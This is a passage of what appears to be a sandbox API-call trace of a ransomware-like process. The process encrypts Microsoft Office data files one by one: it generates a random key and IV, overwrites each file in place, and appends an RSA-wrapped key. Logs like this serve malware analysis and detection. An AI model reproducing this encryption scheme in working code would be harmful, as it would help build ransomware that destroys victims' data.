pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0212.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0212.733] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.735] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x1c5f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c5f, lpOverlapped=0x0) returned 1 [0212.775] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-7263, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.775] WriteFile (in: hFile=0x2220, lpBuffer=0x30e5ce0*, nNumberOfBytesToWrite=0x1c5f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5ce0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c5f, lpOverlapped=0x0) returned 1 [0212.776] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c5f [0212.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.776] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.776] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.777] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.777] CloseHandle (hObject=0x2220) returned 1 [0212.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfad8 | out: pbBuffer=0x30dfad8) returned 1 [0212.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0212.778] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.779] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x134e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x134e, lpOverlapped=0x0) returned 1 [0212.780] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-4942, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.780] WriteFile (in: hFile=0x2220, lpBuffer=0x30e53d0*, nNumberOfBytesToWrite=0x134e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e53d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x134e, lpOverlapped=0x0) returned 1 [0212.780] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x134e [0212.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.780] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfad8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfad8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.781] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.781] CloseHandle (hObject=0x2220) returned 1 [0212.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0738 | out: pbBuffer=0x30e0738) returned 1 [0212.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0212.782] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.782] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0xe59, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0xe59, lpOverlapped=0x0) returned 1 [0212.794] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-3673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.794] WriteFile (in: hFile=0x2220, lpBuffer=0x30ca018*, nNumberOfBytesToWrite=0xe59, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe59, lpOverlapped=0x0) returned 1 [0212.794] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe59 [0212.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0738*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0738*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.795] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0738*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0738*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.795] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.795] CloseHandle (hObject=0x2220) returned 1 [0212.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0212.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6940 | out: pbBuffer=0x30f6940) returned 1 [0212.797] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.797] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x136c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x136c, lpOverlapped=0x0) returned 1 [0212.809] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-4972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.809] WriteFile (in: hFile=0x2220, lpBuffer=0x30e53f0*, nNumberOfBytesToWrite=0x136c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e53f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x136c, lpOverlapped=0x0) returned 1 [0212.809] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x136c [0212.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.810] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.810] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6940*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6940*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.810] CloseHandle (hObject=0x2220) returned 1 [0212.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0212.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0212.814] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.814] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x136c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x136c, lpOverlapped=0x0) returned 1 [0212.846] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-4972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.846] WriteFile (in: hFile=0x2220, lpBuffer=0x30e53f0*, nNumberOfBytesToWrite=0x136c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e53f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x136c, lpOverlapped=0x0) returned 1 [0212.847] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x136c [0212.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.847] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.847] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.847] CloseHandle (hObject=0x2220) returned 1 [0212.851] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0212.851] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.851] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.851] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x4615, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4615, lpOverlapped=0x0) returned 1 [0212.862] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-17941, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.862] WriteFile (in: hFile=0x2220, lpBuffer=0x30e8698*, nNumberOfBytesToWrite=0x4615, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8698*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4615, lpOverlapped=0x0) returned 1 [0212.862] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4615 [0212.862] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.862] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.863] WriteFile (in: hFile=0x2220, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.863] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.863] CloseHandle (hObject=0x2220) returned 1 [0212.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df298 | out: pbBuffer=0x30df298) returned 1 [0212.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a80 | out: pbBuffer=0x30f6a80) returned 1 [0212.864] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\onenotemui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.865] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x38ba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x38ba, lpOverlapped=0x0) returned 1 [0212.866] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-14522, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.866] WriteFile (in: hFile=0x2220, lpBuffer=0x30e7940*, nNumberOfBytesToWrite=0x38ba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7940*, lpNumberOfBytesWritten=0x2e1f9bc*=0x38ba, lpOverlapped=0x0) returned 1 [0212.867] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x38ba [0212.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.867] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.867] WriteFile (in: hFile=0x2220, lpBuffer=0x30df298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.867] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.867] CloseHandle (hObject=0x2220) returned 1 [0212.868] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0212.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69a0 | out: pbBuffer=0x30f69a0) returned 1 [0212.869] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.869] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x1c425, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c425, lpOverlapped=0x0) returned 1 [0212.882] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-115749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.882] WriteFile (in: hFile=0x2220, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1c425, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c425, lpOverlapped=0x0) returned 1 [0212.882] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c425 [0212.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.883] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.883] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.883] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.884] CloseHandle (hObject=0x2220) returned 1 [0212.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df8c8 | out: pbBuffer=0x30df8c8) returned 1 [0212.885] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0212.886] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\onenote.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.886] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x11bd8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x11bd8, lpOverlapped=0x0) returned 1 [0212.894] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-72664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.894] WriteFile (in: hFile=0x2220, lpBuffer=0x34cfbf0*, nNumberOfBytesToWrite=0x11bd8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34cfbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11bd8, lpOverlapped=0x0) returned 1 [0212.895] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11bd8 [0212.895] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.895] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df8c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df8c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.895] WriteFile (in: hFile=0x2220, lpBuffer=0x30df8c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df8c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.896] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.896] CloseHandle (hObject=0x2220) returned 1 [0212.897] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0212.897] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0212.897] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.898] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x11e2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x11e2, lpOverlapped=0x0) returned 1 [0212.899] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-4578, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.899] WriteFile (in: hFile=0x2220, lpBuffer=0x30e5268*, nNumberOfBytesToWrite=0x11e2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5268*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11e2, lpOverlapped=0x0) returned 1 [0212.899] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11e2 [0212.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.900] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.900] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.900] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.900] CloseHandle (hObject=0x2220) returned 1 [0212.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0738 | out: pbBuffer=0x30e0738) returned 1 [0212.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.902] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\officemuiset.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.904] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd10, lpOverlapped=0x0) returned 1 [0212.905] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-3344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.905] WriteFile (in: hFile=0x2220, lpBuffer=0x30ca018*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd10, lpOverlapped=0x0) returned 1 [0212.906] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd10 [0212.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0738*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0738*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.906] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0738*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0738*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.906] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, 